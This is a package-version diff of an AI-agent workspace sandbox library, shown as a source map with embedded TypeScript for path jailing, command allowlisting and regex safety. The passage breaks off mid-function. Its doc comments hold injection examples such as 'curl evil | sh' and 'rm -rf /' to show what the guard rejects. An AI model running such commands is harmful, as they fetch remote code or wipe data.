@warlock.js/ai-workspace 5.30.0 → 5.31.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +46 -2
- package/README.md +34 -21
- package/cjs/index.cjs +3116 -309
- package/cjs/index.cjs.map +1 -1
- package/esm/backends/local.d.mts.map +1 -1
- package/esm/backends/local.mjs +165 -27
- package/esm/backends/local.mjs.map +1 -1
- package/esm/backends/mock.d.mts +11 -5
- package/esm/backends/mock.d.mts.map +1 -1
- package/esm/backends/mock.mjs +34 -0
- package/esm/backends/mock.mjs.map +1 -1
- package/esm/contracts/index.d.mts +3 -3
- package/esm/contracts/tool-io.type.d.mts +202 -4
- package/esm/contracts/tool-io.type.d.mts.map +1 -1
- package/esm/contracts/workspace-backend.contract.d.mts +61 -1
- package/esm/contracts/workspace-backend.contract.d.mts.map +1 -1
- package/esm/contracts/workspace-ops.contract.d.mts +32 -3
- package/esm/contracts/workspace-ops.contract.d.mts.map +1 -1
- package/esm/contracts/workspace-policy.type.d.mts +133 -12
- package/esm/contracts/workspace-policy.type.d.mts.map +1 -1
- package/esm/contracts/workspace.contract.d.mts +63 -9
- package/esm/contracts/workspace.contract.d.mts.map +1 -1
- package/esm/errors.d.mts +79 -5
- package/esm/errors.d.mts.map +1 -1
- package/esm/errors.mjs +22 -1
- package/esm/errors.mjs.map +1 -1
- package/esm/index.d.mts +13 -5
- package/esm/index.mjs +10 -2
- package/esm/ops.d.mts +21 -2
- package/esm/ops.d.mts.map +1 -1
- package/esm/ops.mjs +230 -64
- package/esm/ops.mjs.map +1 -1
- package/esm/policy/jail.mjs +73 -0
- package/esm/policy/jail.mjs.map +1 -0
- package/esm/policy/policy.d.mts +25 -15
- package/esm/policy/policy.d.mts.map +1 -1
- package/esm/policy/policy.mjs +61 -85
- package/esm/policy/policy.mjs.map +1 -1
- package/esm/policy/shell-check.d.mts +64 -0
- package/esm/policy/shell-check.d.mts.map +1 -0
- package/esm/policy/shell-check.mjs +627 -0
- package/esm/policy/shell-check.mjs.map +1 -0
- package/esm/policy/shell-parser.mjs +802 -0
- package/esm/policy/shell-parser.mjs.map +1 -0
- package/esm/policy/tokenize-command.d.mts +63 -0
- package/esm/policy/tokenize-command.d.mts.map +1 -0
- package/esm/policy/tokenize-command.mjs +75 -23
- package/esm/policy/tokenize-command.mjs.map +1 -1
- package/esm/shell-jobs.d.mts +45 -0
- package/esm/shell-jobs.d.mts.map +1 -0
- package/esm/shell-jobs.mjs +247 -0
- package/esm/shell-jobs.mjs.map +1 -0
- package/esm/todos.d.mts +22 -0
- package/esm/todos.d.mts.map +1 -0
- package/esm/todos.mjs +73 -0
- package/esm/todos.mjs.map +1 -0
- package/esm/tools/edit-file.d.mts.map +1 -1
- package/esm/tools/edit-file.mjs +2 -1
- package/esm/tools/edit-file.mjs.map +1 -1
- package/esm/tools/glob.d.mts.map +1 -1
- package/esm/tools/glob.mjs +2 -1
- package/esm/tools/glob.mjs.map +1 -1
- package/esm/tools/grep.d.mts.map +1 -1
- package/esm/tools/grep.mjs +2 -1
- package/esm/tools/grep.mjs.map +1 -1
- package/esm/tools/json-schemas.mjs +175 -0
- package/esm/tools/json-schemas.mjs.map +1 -0
- package/esm/tools/list-dir.d.mts +32 -0
- package/esm/tools/list-dir.d.mts.map +1 -0
- package/esm/tools/list-dir.mjs +50 -0
- package/esm/tools/list-dir.mjs.map +1 -0
- package/esm/tools/multi-edit.d.mts +38 -0
- package/esm/tools/multi-edit.d.mts.map +1 -0
- package/esm/tools/multi-edit.mjs +121 -0
- package/esm/tools/multi-edit.mjs.map +1 -0
- package/esm/tools/read-file.d.mts.map +1 -1
- package/esm/tools/read-file.mjs +2 -1
- package/esm/tools/read-file.mjs.map +1 -1
- package/esm/tools/run-shell.d.mts +34 -12
- package/esm/tools/run-shell.d.mts.map +1 -1
- package/esm/tools/run-shell.mjs +59 -53
- package/esm/tools/run-shell.mjs.map +1 -1
- package/esm/tools/run-tests.d.mts +8 -0
- package/esm/tools/run-tests.d.mts.map +1 -1
- package/esm/tools/run-tests.mjs +10 -3
- package/esm/tools/run-tests.mjs.map +1 -1
- package/esm/tools/schema.mjs +23 -18
- package/esm/tools/schema.mjs.map +1 -1
- package/esm/tools/shell-kill.d.mts +25 -0
- package/esm/tools/shell-kill.d.mts.map +1 -0
- package/esm/tools/shell-kill.mjs +36 -0
- package/esm/tools/shell-kill.mjs.map +1 -0
- package/esm/tools/shell-output.d.mts +30 -0
- package/esm/tools/shell-output.d.mts.map +1 -0
- package/esm/tools/shell-output.mjs +49 -0
- package/esm/tools/shell-output.mjs.map +1 -0
- package/esm/tools/todo.d.mts +43 -0
- package/esm/tools/todo.d.mts.map +1 -0
- package/esm/tools/todo.mjs +126 -0
- package/esm/tools/todo.mjs.map +1 -0
- package/esm/tools/write-file.d.mts.map +1 -1
- package/esm/tools/write-file.mjs +2 -1
- package/esm/tools/write-file.mjs.map +1 -1
- package/esm/workspace.d.mts +11 -8
- package/esm/workspace.d.mts.map +1 -1
- package/esm/workspace.mjs +108 -27
- package/esm/workspace.mjs.map +1 -1
- package/llms-full.txt +155 -34
- package/llms.txt +1 -1
- package/package.json +3 -3
- package/skills/README.md +2 -2
- package/skills/build-loop-agent/SKILL.md +7 -7
- package/skills/index.md +6 -1
- package/skills/use-a-workspace/SKILL.md +148 -27
package/cjs/index.cjs.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.cjs","names":["AIError","canonicalize","path","globToRegExp","fs","path","platform","fs","DEFAULT_NAME","inputSchema","DEFAULT_NAME","inputSchema","path"],"sources":["../../../../../../../packages/ai-workspace/src/errors.ts","../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts","../../../../../../../packages/ai-workspace/src/policy/policy.ts","../../../../../../../packages/ai-workspace/src/ops.ts","../../../../../../../packages/ai-workspace/src/backends/local.ts","../../../../../../../packages/ai-workspace/src/backends/mock.ts","../../../../../../../packages/ai-workspace/src/tools/schema.ts","../../../../../../../packages/ai-workspace/src/tools/edit-file.ts","../../../../../../../packages/ai-workspace/src/tools/glob.ts","../../../../../../../packages/ai-workspace/src/tools/grep.ts","../../../../../../../packages/ai-workspace/src/tools/read-file.ts","../../../../../../../packages/ai-workspace/src/tools/run-shell.ts","../../../../../../../packages/ai-workspace/src/tools/run-tests.ts","../../../../../../../packages/ai-workspace/src/tools/write-file.ts","../../../../../../../packages/ai-workspace/src/workspace.ts"],"sourcesContent":["import { AIError, type AIErrorOptions } from \"@warlock.js/ai\";\n\n/**\n * Why a workspace policy check rejected an operation.\n *\n * - `\"path-escape\"` — a resolved path fell outside the `cwd` jail (or an\n * `allowPaths` root), or matched a `denyPaths` glob.\n * - `\"denied-command\"` — a shell command's leading executable basename\n * was not in `shell.allow`, or was explicitly in `shell.deny`.\n * - `\"unsafe-pattern\"` — a `grep` pattern was too long or matched a\n * catastrophic-backtracking shape (nested quantifiers) that could hang\n * the process (ReDoS).\n */\nexport type WorkspacePolicyViolation = \"path-escape\" | \"denied-command\" | \"unsafe-pattern\";\n\n/**\n * Options for {@link WorkspacePolicyError} — the structured `type`\n * discriminator plus, where relevant, the offending path or command for\n * branchable diagnostics without parsing the message.\n */\nexport type WorkspacePolicyErrorOptions = AIErrorOptions & {\n /** Which policy rule was violated. */\n type: WorkspacePolicyViolation;\n /** The offending workspace-relative path (for `\"path-escape\"`). */\n path?: string;\n /** The offending command line (for `\"denied-command\"`). */\n command?: string;\n /** The offending regex pattern (for `\"unsafe-pattern\"`). */\n pattern?: string;\n};\n\n/**\n * The workspace policy engine refused an operation — a path escaped the\n * jail (or hit a deny glob), or a shell command's executable was not\n * allowed.\n *\n * **Surface.** This is returned to the agent as tool-error *data*, never\n * a thrown run-killer — the agent reads the failure and self-corrects.\n * Extends the framework `AIError` (category `\"tool\"`, code\n * `TOOL_EXEC_FAILED`) so it flows through the same typed error contract\n * as every other AI error; branch on `error.type` for the specific\n * violation.\n *\n * @example\n * if (error instanceof WorkspacePolicyError && error.type === \"denied-command\") {\n * console.warn(`Blocked command: ${error.command}`);\n * }\n */\nexport class WorkspacePolicyError extends AIError {\n /** Which policy rule was violated. */\n public readonly type: WorkspacePolicyViolation;\n /** The offending path, when the violation was a path escape. */\n public readonly path?: string;\n /** The offending command, when the violation was a denied command. */\n public readonly command?: string;\n /** The offending regex pattern, when the violation was `\"unsafe-pattern\"`. */\n public readonly pattern?: string;\n\n public constructor(message: string, options: WorkspacePolicyErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspacePolicyError\";\n this.type = options.type;\n this.path = options.path;\n this.command = options.command;\n this.pattern = options.pattern;\n }\n}\n\n/**\n * Why an edit was rejected.\n *\n * - `\"not-found\"` — the `oldString` did not appear in the file.\n * - `\"not-unique\"` — `oldString` matched more than once and `replaceAll`\n * was not set, so the edit is ambiguous.\n * - `\"stale-hash\"` — the file's current hash did not match the supplied\n * `expectHash`; the file changed since it was read.\n */\nexport type WorkspaceEditFailure = \"not-found\" | \"not-unique\" | \"stale-hash\";\n\n/**\n * Options for {@link WorkspaceEditError} — the structured `type`\n * discriminator plus optional match-count / hash context for the\n * `\"not-unique\"` and `\"stale-hash\"` cases.\n */\nexport type WorkspaceEditErrorOptions = AIErrorOptions & {\n /** Why the edit was rejected. */\n type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n path: string;\n /** How many times `oldString` matched (for `\"not-unique\"`). */\n matches?: number;\n /** The hash the caller expected (for `\"stale-hash\"`). */\n expectedHash?: string;\n /** The file's actual current hash (for `\"stale-hash\"`). */\n actualHash?: string;\n};\n\n/**\n * An `editFile` operation was rejected by the read-before-edit guard:\n * the `oldString` was absent, matched non-uniquely without `replaceAll`,\n * or the file's hash no longer matched the supplied `expectHash`.\n *\n * **Surface.** Like {@link WorkspacePolicyError}, returned to the agent\n * as tool-error *data* so it can re-read and retry. Extends `AIError`\n * (category `\"tool\"`, code `TOOL_EXEC_FAILED`); branch on `error.type`.\n *\n * @example\n * if (error instanceof WorkspaceEditError && error.type === \"stale-hash\") {\n * // re-read the file and retry the edit with the fresh hash\n * }\n */\nexport class WorkspaceEditError extends AIError {\n /** Why the edit was rejected. */\n public readonly type: WorkspaceEditFailure;\n /** The edited file's workspace-relative path. */\n public readonly path: string;\n /** How many times `oldString` matched, for the `\"not-unique\"` case. */\n public readonly matches?: number;\n /** The hash the caller expected, for the `\"stale-hash\"` case. */\n public readonly expectedHash?: string;\n /** The file's actual current hash, for the `\"stale-hash\"` case. */\n public readonly actualHash?: string;\n\n public constructor(message: string, options: WorkspaceEditErrorOptions) {\n super(\"TOOL_EXEC_FAILED\", message, options);\n\n this.name = \"WorkspaceEditError\";\n this.type = options.type;\n this.path = options.path;\n this.matches = options.matches;\n this.expectedHash = options.expectedHash;\n this.actualHash = options.actualHash;\n }\n}\n","/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\n \";\",\n \"&\",\n \"|\",\n \"<\",\n \">\",\n \"`\",\n \"$\",\n \"(\",\n \")\",\n]);\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command[index];\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return null;\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\" || UNQUOTED_METACHARACTERS.has(char)) {\n return null;\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? argv : null;\n}\n","import path from \"node:path\";\nimport { realpath } from \"node:fs/promises\";\nimport { WorkspacePolicyError } from \"../errors\";\nimport { tokenizeCommand } from \"./tokenize-command\";\nimport type { WorkspacePolicy } from \"../contracts\";\n\n/**\n * The outcome of resolving a workspace-relative (or absolute) input path\n * against the jail — the canonical absolute location the backend should\n * touch, plus the workspace-relative form (POSIX-style, `/`-separated)\n * the agent and tool results echo back.\n */\nexport interface ResolvedPath {\n /** Canonical absolute path (symlinks in existing ancestors collapsed). */\n absolutePath: string;\n /**\n * The path relative to `policy.cwd`, `/`-separated regardless of OS,\n * used in tool results so the agent always sees stable workspace paths.\n * Empty string when the resolved path IS the jail root.\n */\n relativePath: string;\n}\n\n/**\n * Resolve the canonical absolute form of `target`, collapsing any\n * symlinks. `target` may not yet exist (a fresh `writeFile`/`mkdir`),\n * so we realpath the deepest **existing** ancestor and re-attach the\n * non-existent tail — a symlinked ancestor still cannot smuggle the\n * path out of the jail, while genuinely new leaves stay creatable.\n */\nasync function canonicalize(target: string): Promise<string> {\n let resolvedTarget = path.resolve(target);\n const tail: string[] = [];\n\n // Walk up until an existing ancestor is found (or we hit the root).\n // eslint-disable-next-line no-constant-condition\n while (true) {\n try {\n const real = await realpath(resolvedTarget);\n\n return tail.length > 0 ? path.join(real, ...tail) : real;\n } catch (error) {\n const code = (error as NodeJS.ErrnoException).code;\n\n // Only ENOENT means \"this segment doesn't exist yet\" — keep\n // walking up. Any other error (EACCES, ELOOP, …) is a real fault.\n if (code !== \"ENOENT\") {\n throw error;\n }\n\n const parent = path.dirname(resolvedTarget);\n\n // Reached the filesystem root without finding an existing\n // ancestor — give back the lexically-resolved path unchanged.\n if (parent === resolvedTarget) {\n return path.join(resolvedTarget, ...tail);\n }\n\n tail.unshift(path.basename(resolvedTarget));\n resolvedTarget = parent;\n }\n }\n}\n\n/**\n * Whether `child` is contained within `root` (or equals it), comparing\n * canonical absolute paths. Guards against the `/srv/app-evil` vs\n * `/srv/app` prefix-collision by anchoring on a path separator.\n */\nfunction isInside(child: string, root: string): boolean {\n const relative = path.relative(root, child);\n\n return (\n relative === \"\" ||\n (!relative.startsWith(\"..\") && !path.isAbsolute(relative))\n );\n}\n\n/**\n * Translate a glob (the small subset used by `denyPaths` — `*`, `**`,\n * `?`) into an anchored `RegExp` over a `/`-separated relative path.\n * `**` spans path separators; a single `*` does not.\n */\nfunction globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob[index];\n\n if (char === \"*\") {\n if (glob[index + 1] === \"*\") {\n // `**` — match across segments (and an optional trailing slash).\n source += \".*\";\n index++;\n\n if (glob[index + 1] === \"/\") {\n index++;\n }\n } else {\n // `*` — match within a single segment.\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n // Escape everything else so it matches literally.\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * Whether a workspace-relative (`/`-separated) path matches any of the\n * policy's `denyPaths` globs. A deny glob also blocks everything beneath\n * a matched directory (`\".git/**\"` blocks `.git/config`).\n */\nfunction matchesDeny(relativePath: string, denyPaths: string[]): boolean {\n return denyPaths.some((glob) => {\n if (globToRegExp(glob).test(relativePath)) {\n return true;\n }\n\n // A bare directory glob (`\".git\"`, `\"node_modules\"`) should also\n // block its contents, mirroring how `\".git/**\"` would behave.\n if (!glob.includes(\"*\") && !glob.includes(\"?\")) {\n const prefix = glob.endsWith(\"/\") ? glob : `${glob}/`;\n\n return relativePath.startsWith(prefix);\n }\n\n return false;\n });\n}\n\n/**\n * Resolve and jail a single input path against a {@link WorkspacePolicy}.\n *\n * The input is resolved against `policy.cwd`, canonicalized (symlinks in\n * existing ancestors collapsed so a symlinked directory cannot escape\n * the jail), then accepted **only** when it sits under `cwd` or one of\n * the `allowPaths` roots. A path that escapes, or that matches any\n * `denyPaths` glob even while inside `cwd`, is rejected with a\n * {@link WorkspacePolicyError} of type `\"path-escape\"`.\n *\n * @param policy - The bounding policy (its `cwd` is the jail root).\n * @param inputPath - A workspace-relative or absolute path to resolve.\n * @returns The canonical absolute path plus its `/`-separated relative form.\n * @throws {WorkspacePolicyError} When the path escapes the jail or hits a deny glob.\n *\n * @example\n * const { absolutePath } = await resolveInJail(policy, \"src/index.ts\");\n */\nexport async function resolveInJail(\n policy: WorkspacePolicy,\n inputPath: string,\n): Promise<ResolvedPath> {\n const jailRoot = await canonicalize(policy.cwd);\n const requested = path.isAbsolute(inputPath)\n ? inputPath\n : path.join(policy.cwd, inputPath);\n const absolutePath = await canonicalize(requested);\n\n const insideCwd = isInside(absolutePath, jailRoot);\n const allowRoots = policy.allowPaths ?? [];\n let insideAllow = false;\n\n if (!insideCwd) {\n for (const root of allowRoots) {\n const canonicalRoot = await canonicalize(root);\n\n if (isInside(absolutePath, canonicalRoot)) {\n insideAllow = true;\n\n break;\n }\n }\n }\n\n if (!insideCwd && !insideAllow) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" resolves outside the workspace jail.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n\n // `denyPaths` is evaluated relative to the jail root and wins even\n // when the path is comfortably inside `cwd`.\n const relativeToJail = insideCwd\n ? path.relative(jailRoot, absolutePath).split(path.sep).join(\"/\")\n : \"\";\n\n if (insideCwd && policy.denyPaths && policy.denyPaths.length > 0) {\n if (matchesDeny(relativeToJail, policy.denyPaths)) {\n throw new WorkspacePolicyError(\n `Path \"${inputPath}\" is blocked by the workspace deny list.`,\n { type: \"path-escape\", path: inputPath },\n );\n }\n }\n\n return { absolutePath, relativePath: relativeToJail };\n}\n\n/**\n * Reduce an argv's first element to the basename the allow/deny policy is\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\n * stripped).\n */\nfunction executableBasename(firstToken: string): string {\n const base = path.basename(firstToken);\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\n}\n\n/**\n * Whether a shell command is permitted by the policy's `shell` sub-policy.\n *\n * The command is first tokenized via {@link tokenizeCommand} — a command\n * that cannot be represented as a single argv (unbalanced quotes, or\n * unquoted shell metacharacters such as `;`, `&&`, `|`, backticks, `$`,\n * redirection) is denied outright. The backend spawns the argv directly\n * with no shell, so such a command has no meaning here — and unquoted\n * metacharacters were exactly how an injected command chain used to ride\n * past the allowlist. The resolved `argv[0]` basename is then matched\n * against `shell.deny` then `shell.allow`. **Deny always wins.** When\n * `shell.allow` is set, the executable MUST appear in it (fail-closed\n * allowlist); when `allow` is absent/empty, any non-denied command is\n * permitted. An absent `shell` block means no command may run at all.\n *\n * Returns a plain `boolean` rather than throwing — the ops layer raises\n * the {@link WorkspacePolicyError} so the thrown context (`command`)\n * lives next to the call site.\n *\n * @example\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test\"); // true\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"rm -rf /\"); // false\n * isCommandAllowed({ cwd, shell: { allow: [\"npm\"] } }, \"npm test; rm -rf /\"); // false\n */\nexport function isCommandAllowed(\n policy: WorkspacePolicy,\n command: string,\n): boolean {\n const shell = policy.shell;\n\n // No shell sub-policy ⇒ fail-closed: nothing may run.\n if (!shell) {\n return false;\n }\n\n const argv = tokenizeCommand(command);\n\n if (argv === null) {\n return false;\n }\n\n const executable = executableBasename(argv[0]);\n\n if (executable === \"\") {\n return false;\n }\n\n // Deny wins over everything else.\n if (shell.deny && shell.deny.includes(executable)) {\n return false;\n }\n\n // An allowlist, when present, is exhaustive.\n if (shell.allow && shell.allow.length > 0) {\n return shell.allow.includes(executable);\n }\n\n // No allowlist: anything not explicitly denied is permitted.\n return true;\n}\n\n/**\n * Build the exact environment a spawned process receives — `process.env`\n * is **never** inherited wholesale. The result is\n * `{ ...pick(process.env, inheritEnv), ...shell.env }`, so a command\n * cannot see `PATH` (and thus often cannot find `node`/`npm`) unless the\n * policy opts in via `shell.inheritEnv: [\"PATH\"]`. Explicit `shell.env`\n * values override inherited ones on key collision.\n *\n * @example\n * buildEnv({ cwd, shell: { inheritEnv: [\"PATH\"], env: { CI: \"1\" } } });\n * // → { PATH: <process PATH>, CI: \"1\" }\n */\nexport function buildEnv(policy: WorkspacePolicy): Record<string, string> {\n const shell = policy.shell;\n const env: Record<string, string> = {};\n\n if (!shell) {\n return env;\n }\n\n for (const key of shell.inheritEnv ?? []) {\n const value = process.env[key];\n\n if (value !== undefined) {\n env[key] = value;\n }\n }\n\n if (shell.env) {\n for (const [key, value] of Object.entries(shell.env)) {\n env[key] = value;\n }\n }\n\n return env;\n}\n","import path from \"node:path\";\nimport { fs } from \"@warlock.js/fs\";\nimport { WorkspaceEditError, WorkspacePolicyError } from \"./errors\";\nimport { buildEnv, isCommandAllowed, resolveInJail } from \"./policy/policy\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepMatch,\n GrepResult,\n ReadFileResult,\n RunShellResult,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n} from \"./contracts\";\n\n/** Default line window a read returns when the policy sets no `defaultLines`. */\nconst DEFAULT_READ_LINES = 2000;\n/** Hard ceiling on grep matches returned, so a broad pattern can't flood. */\nconst DEFAULT_MAX_GREP_MATCHES = 1000;\n/** Default per-command output byte cap when the policy sets none. */\nconst DEFAULT_MAX_OUTPUT_BYTES = 1_000_000;\n/**\n * Exit code reported for a command refused because its signal was already\n * aborted (the shell convention for an interrupted command). Callers should\n * branch on `cancelled`, not on this number.\n */\nconst CANCELLED_BEFORE_START_EXIT_CODE = 130;\n/**\n * Hard ceiling on `grep` pattern length. A model-controlled regex has no\n * legitimate reason to be this long; longer patterns are rejected outright\n * rather than compiled.\n */\nconst MAX_GREP_PATTERN_LENGTH = 200;\n/**\n * Hard ceiling on the number of characters of a single line handed to\n * `RegExp#test` during a `grep`. Catastrophic backtracking is exponential\n * in input length, so bounding the input scanned per call bounds the\n * worst-case time a single pathological line can cost — lines longer than\n * this are skipped rather than scanned.\n */\nconst MAX_GREP_LINE_SCAN_LENGTH = 2000;\n\n/** The `cat -n` prefix for a line: right-aligned number (min width 6) and a tab. */\nfunction linePrefix(lineNumber: number): string {\n return `${String(lineNumber).padStart(6, \" \")}\\t`;\n}\n\n/**\n * Clip `value` to at most `maxBytes` UTF-8 bytes without splitting a\n * character: the cut backs off over continuation bytes (`10xxxxxx`) to the\n * start of the character it would have split, so the result never carries\n * a replacement character.\n */\nfunction clipUtf8(value: string, maxBytes: number): { value: string; truncated: boolean } {\n const bytes = Buffer.from(value, \"utf8\");\n\n if (bytes.byteLength <= maxBytes) {\n return { value, truncated: false };\n }\n\n let cut = Math.max(0, maxBytes);\n\n while (cut > 0 && ((bytes[cut] ?? 0) & 0xc0) === 0x80) {\n cut--;\n }\n\n return { value: bytes.subarray(0, cut).toString(\"utf8\"), truncated: true };\n}\n\n/**\n * Number a window of lines `cat -n` style, keeping the joined output within\n * `maxBytes` UTF-8 bytes (prefixes and newlines included) when a cap is set.\n * A line that does not fit whole is clipped on a character boundary; it is\n * still counted as returned when its prefix and at least one character fit.\n */\nfunction numberWindow(\n lines: string[],\n startLine: number,\n maxBytes: number | undefined,\n): { content: string; returnedLines: number; bytesCapped: boolean } {\n const parts: string[] = [];\n let used = 0;\n\n for (let index = 0; index < lines.length; index++) {\n const prefix = linePrefix(startLine + index);\n const numbered = prefix + lines[index];\n const separator = parts.length > 0 ? 1 : 0;\n\n if (maxBytes === undefined) {\n parts.push(numbered);\n\n continue;\n }\n\n const cost = separator + Buffer.byteLength(numbered, \"utf8\");\n\n if (used + cost <= maxBytes) {\n parts.push(numbered);\n used += cost;\n\n continue;\n }\n\n const room = maxBytes - used - separator - Buffer.byteLength(prefix, \"utf8\");\n const clipped = room > 0 ? clipUtf8(lines[index] ?? \"\", room).value : \"\";\n\n if (clipped.length > 0) {\n parts.push(prefix + clipped);\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: true };\n }\n\n return { content: parts.join(\"\\n\"), returnedLines: parts.length, bytesCapped: false };\n}\n\n/**\n * Clip a captured stream at `maxBytes` (measured in UTF-8 bytes), on a\n * character boundary. Returns the possibly-clipped string plus whether\n * clipping occurred.\n */\nfunction capOutput(value: string, maxBytes: number): { value: string; truncated: boolean } {\n return clipUtf8(value, maxBytes);\n}\n\n/**\n * Minimal glob match over a `/`-separated relative path. Supports `**`\n * (spans separators), `*` (within a segment), and `?` (one non-separator\n * char) — enough for the workspace's `glob`/grep narrowing without\n * pulling in a runtime dependency.\n */\nfunction globToRegExp(glob: string): RegExp {\n let source = \"\";\n\n for (let index = 0; index < glob.length; index++) {\n const char = glob[index];\n\n if (char === \"*\") {\n if (glob[index + 1] === \"*\") {\n source += \".*\";\n index++;\n\n if (glob[index + 1] === \"/\") {\n index++;\n }\n } else {\n source += \"[^/]*\";\n }\n\n continue;\n }\n\n if (char === \"?\") {\n source += \"[^/]\";\n\n continue;\n }\n\n source += char.replace(/[.+^${}()|[\\]\\\\]/g, \"\\\\$&\");\n }\n\n return new RegExp(`^${source}$`);\n}\n\n/**\n * A quantifier: `+`, `*`, `?`, or a `{m,n}` bound.\n */\nconst QUANTIFIER_SOURCE = String.raw`[+*?]|\\{\\d*,?\\d*\\}`;\n\n/**\n * Heuristic catastrophic-backtracking detector: flags a quantified group\n * that itself contains a quantifier (e.g. `(a+)+`, `(a*)*`, `(.+)*`) —\n * the classic exponential-blowup shape. Not a full regex-safety analyzer\n * (it won't catch every ReDoS shape, e.g. quantified alternation like\n * `(a|a)+`), but it rejects the shape an agent is most likely to emit,\n * intentionally or via prompt injection.\n */\nconst NESTED_QUANTIFIER_PATTERN = new RegExp(\n String.raw`\\([^()]*(?:${QUANTIFIER_SOURCE})[^()]*\\)(?:${QUANTIFIER_SOURCE})`,\n);\n\n/**\n * Whether `pattern` is safe enough to compile and run against workspace\n * content: within the length cap and free of the nested-quantifier shape\n * that causes catastrophic regex backtracking (ReDoS).\n */\nfunction isSafeGrepPattern(pattern: string): boolean {\n if (pattern.length > MAX_GREP_PATTERN_LENGTH) {\n return false;\n }\n\n return !NESTED_QUANTIFIER_PATTERN.test(pattern);\n}\n\n/**\n * The internal, single-instance implementation of {@link WorkspaceOps}.\n * Holds the backend + policy and is the one place the jail, command\n * gating, read caps, and the read-before-edit guard are enforced — both\n * the agent-facing tools and the human-facing direct methods funnel\n * through this object, so there is exactly one set of rules.\n */\nclass Ops implements WorkspaceOps {\n /**\n * Tail of the mutation chain per resolved absolute path. Writes, edits and\n * removes on the same path run one after another, so two tool calls the\n * agent dispatches concurrently cannot both read the same content, both\n * pass the stale-hash guard and silently drop one edit: the second one\n * re-reads after the first has written.\n */\n private readonly pathLocks = new Map<string, Promise<void>>();\n\n public constructor(\n private readonly backend: WorkspaceBackend,\n private readonly policy: WorkspacePolicy,\n ) {}\n\n /** Run `task` after every earlier mutation of `absolutePath` has settled. */\n private async withPathLock<T>(absolutePath: string, task: () => Promise<T>): Promise<T> {\n const previous = this.pathLocks.get(absolutePath) ?? Promise.resolve();\n let release: () => void = () => {};\n const current = new Promise<void>((resolve) => {\n release = resolve;\n });\n const tail = previous.then(() => current);\n\n this.pathLocks.set(absolutePath, tail);\n\n try {\n await previous;\n\n return await task();\n } finally {\n release();\n\n if (this.pathLocks.get(absolutePath) === tail) {\n this.pathLocks.delete(absolutePath);\n }\n }\n }\n\n /**\n * Recursively collect every file under `absDir` as absolute paths,\n * via the backend's `list` (so it works over disk or the in-memory\n * mock). Directories are descended; files are accumulated.\n */\n private async walkFiles(absDir: string): Promise<string[]> {\n const found: string[] = [];\n const entries = await this.backend.list(absDir);\n\n await Promise.all(\n entries.map(async (entry) => {\n // A child is a directory iff listing it succeeds; the backend\n // throws/returns for a file. Probe via `exists` + a list guard.\n const isDir = await this.isDirectory(entry);\n\n if (isDir) {\n const nested = await this.walkFiles(entry);\n found.push(...nested);\n } else {\n found.push(entry);\n }\n }),\n );\n\n return found;\n }\n\n /** Whether an absolute path is a directory, by attempting to list it. */\n private async isDirectory(absPath: string): Promise<boolean> {\n try {\n await this.backend.list(absPath);\n\n return true;\n } catch {\n return false;\n }\n 